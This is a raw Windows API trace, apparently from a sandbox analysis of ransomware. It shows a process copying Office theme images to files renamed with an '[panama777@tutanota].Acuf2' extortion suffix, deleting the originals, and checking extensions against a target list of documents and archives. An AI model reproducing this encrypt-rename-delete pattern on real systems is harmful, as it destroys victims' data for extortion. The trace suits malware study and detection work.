	[0050.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0050.786] GetLastError () returned 0x0
	[0050.786] ReadFile (in: hFile=0x214, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x7eb1, lpOverlapped=0x0) returned 1
	[0050.788] WriteFile (in: hFile=0x218, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x7ec0, lpOverlapped=0x0) returned 1
	[0050.789] ReadFile (in: hFile=0x214, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.789] WriteFile (in: hFile=0x218, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0050.789] SetEndOfFile (hFile=0x218) returned 1
	[0050.789] CloseHandle (hObject=0x218) returned 1
	[0050.789] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.790] SetEndOfFile (hFile=0x214) returned 1
	[0050.790] CloseHandle (hObject=0x214) returned 1
	[0050.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.791] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 1
	[0050.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0050.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0050.791] lstrlenW (lpString=".doc") returned 4
	[0050.791] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.791] lstrlenW (lpString=".docx") returned 5
	[0050.791] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.791] lstrlenW (lpString=".pdf") returned 4
	[0050.791] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.791] lstrlenW (lpString=".xls") returned 4
	[0050.791] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.791] lstrlenW (lpString=".xlsx") returned 5
	[0050.791] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.791] lstrlenW (lpString=".ppt") returned 4
	[0050.791] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0050.791] lstrlenW (lpString=".zip") returned 4
	[0050.791] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.791] lstrlenW (lpString=".rar") returned 4
	[0050.792] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.792] lstrlenW (lpString=".bz2") returned 4
	[0050.792] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.792] lstrlenW (lpString=".7z") returned 3
	[0050.792] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0050.792] lstrlenW (lpString=".dbf") returned 4
	[0050.792] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0050.792] lstrlenW (lpString=".1cd") returned 4
	[0050.792] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0050.792] lstrlenW (lpString=".jpg") returned 4
	[0050.792] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0050.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0050.792] lstrlenW (lpString=".doc") returned 4
	[0050.792] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.792] lstrlenW (lpString=".docx") returned 5
	[0050.792] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.792] lstrlenW (lpString=".pdf") returned 4
	[0050.792] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.792] lstrlenW (lpString=".xls") returned 4
	[0050.792] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.793] lstrlenW (lpString=".xlsx") returned 5
	[0050.793] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.793] lstrlenW (lpString=".ppt") returned 4
	[0050.793] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0050.793] lstrlenW (lpString=".zip") returned 4
	[0050.793] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.793] lstrlenW (lpString=".rar") returned 4
	[0050.793] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.793] lstrlenW (lpString=".bz2") returned 4
	[0050.793] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.793] lstrlenW (lpString=".7z") returned 3
	[0050.793] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0050.793] lstrlenW (lpString=".dbf") returned 4
	[0050.793] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0050.793] lstrlenW (lpString=".1cd") returned 4
	[0050.793] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0050.793] lstrlenW (lpString=".jpg") returned 4
	[0050.793] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.793] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0050.793] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0050.793] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0050.794] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=5120) returned 1
	[0050.794] CloseHandle (hObject=0x214) returned 1
	[0050.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20
	[0050.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0050.794] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.794] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0050.797] GetLastError () returned 0x0
	[0050.797] ReadFile (in: hFile=0x214, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x1400, lpOverlapped=0x0) returned 1
	[0050.799] WriteFile (in: hFile=0x218, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x1410, lpOverlapped=0x0) returned 1
	[0050.800] ReadFile (in: hFile=0x214, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.800] WriteFile (in: hFile=0x218, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xea, lpOverlapped=0x0) returned 1
	[0050.800] SetEndOfFile (hFile=0x218) returned 1
	[0050.800] CloseHandle (hObject=0x218) returned 1
	[0050.800] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.800] SetEndOfFile (hFile=0x214) returned 1
	[0050.801] CloseHandle (hObject=0x214) returned 1
	[0050.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.801] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 1
	[0050.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0050.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0050.801] lstrlenW (lpString=".doc") returned 4
	[0050.802] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.802] lstrlenW (lpString=".docx") returned 5
	[0050.802] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.802] lstrlenW (lpString=".pdf") returned 4
	[0050.802] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.802] lstrlenW (lpString=".xls") returned 4
	[0050.802] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.802] lstrlenW (lpString=".xlsx") returned 5
	[0050.802] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.802] lstrlenW (lpString=".ppt") returned 4
	[0050.802] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0050.802] lstrlenW (lpString=".zip") returned 4
	[0050.802] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.802] lstrlenW (lpString=".rar") returned 4
	[0050.802] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.802] lstrlenW (lpString=".bz2") returned 4
	[0050.802] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.802] lstrlenW (lpString=".7z") returned 3
	[0050.802] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0050.802] lstrlenW (lpString=".dbf") returned 4
	[0050.802] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0050.802] lstrlenW (lpString=".1cd") returned 4
	[0050.802] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0050.802] lstrlenW (lpString=".jpg") returned 4
	[0050.802] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0050.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0050.803] lstrlenW (lpString=".doc") returned 4
	[0050.803] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.803] lstrlenW (lpString=".docx") returned 5
	[0050.803] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.803] lstrlenW (lpString=".pdf") returned 4
	[0050.803] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.803] lstrlenW (lpString=".xls") returned 4
	[0050.803] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.803] lstrlenW (lpString=".xlsx") returned 5
	[0050.803] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.803] lstrlenW (lpString=".ppt") returned 4
	[0050.803] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0050.803] lstrlenW (lpString=".zip") returned 4
	[0050.803] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.803] lstrlenW (lpString=".rar") returned 4
	[0050.803] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.803] lstrlenW (lpString=".bz2") returned 4
	[0050.803] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.803] lstrlenW (lpString=".7z") returned 3
	[0050.803] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0050.803] lstrlenW (lpString=".dbf") returned 4
	[0050.803] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0050.803] lstrlenW (lpString=".1cd") returned 4
	[0050.803] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0050.804] lstrlenW (lpString=".jpg") returned 4
	[0050.804] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.804] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0050.804] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0050.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0051.069] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=60724) returned 1
	[0051.069] CloseHandle (hObject=0x200) returned 1
	[0051.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20
	[0051.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0051.070] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.070] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0051.070] GetLastError () returned 0x0
	[0051.070] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0xed34, lpOverlapped=0x0) returned 1
	[0051.080] WriteFile (in: hFile=0x1dc, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xed40, lpOverlapped=0x0) returned 1
	[0051.084] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.084] WriteFile (in: hFile=0x1dc, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0051.084] SetEndOfFile (hFile=0x1dc) returned 1
	[0051.084] CloseHandle (hObject=0x1dc) returned 1
	[0051.084] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.084] SetEndOfFile (hFile=0x200) returned 1
	[0051.085] CloseHandle (hObject=0x200) returned 1
	[0051.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.086] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 1
	[0051.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0051.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0051.086] lstrlenW (lpString=".doc") returned 4
	[0051.086] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.086] lstrlenW (lpString=".docx") returned 5
	[0051.086] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.086] lstrlenW (lpString=".pdf") returned 4
	[0051.086] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.086] lstrlenW (lpString=".xls") returned 4
	[0051.086] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.086] lstrlenW (lpString=".xlsx") returned 5
	[0051.086] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.086] lstrlenW (lpString=".ppt") returned 4
	[0051.086] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0051.086] lstrlenW (lpString=".zip") returned 4
	[0051.087] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.087] lstrlenW (lpString=".rar") returned 4
	[0051.087] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.087] lstrlenW (lpString=".bz2") returned 4
	[0051.087] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.087] lstrlenW (lpString=".7z") returned 3
	[0051.087] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0051.087] lstrlenW (lpString=".dbf") returned 4
	[0051.087] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0051.087] lstrlenW (lpString=".1cd") returned 4
	[0051.087] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0051.087] lstrlenW (lpString=".jpg") returned 4
	[0051.087] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0051.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0051.087] lstrlenW (lpString=".doc") returned 4
	[0051.087] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.087] lstrlenW (lpString=".docx") returned 5
	[0051.087] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.087] lstrlenW (lpString=".pdf") returned 4
	[0051.087] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.087] lstrlenW (lpString=".xls") returned 4
	[0051.087] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.087] lstrlenW (lpString=".xlsx") returned 5
	[0051.087] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.087] lstrlenW (lpString=".ppt") returned 4
	[0051.087] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0051.088] lstrlenW (lpString=".zip") returned 4
	[0051.088] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.088] lstrlenW (lpString=".rar") returned 4
	[0051.088] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.088] lstrlenW (lpString=".bz2") returned 4
	[0051.088] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.088] lstrlenW (lpString=".7z") returned 3
	[0051.088] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0051.088] lstrlenW (lpString=".dbf") returned 4
	[0051.088] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0051.088] lstrlenW (lpString=".1cd") returned 4
	[0051.088] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77
	[0051.088] lstrlenW (lpString=".jpg") returned 4
	[0051.088] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.088] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0051.088] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0051.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0051.089] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=5179) returned 1
	[0051.089] CloseHandle (hObject=0x200) returned 1
	[0051.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20
	[0051.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
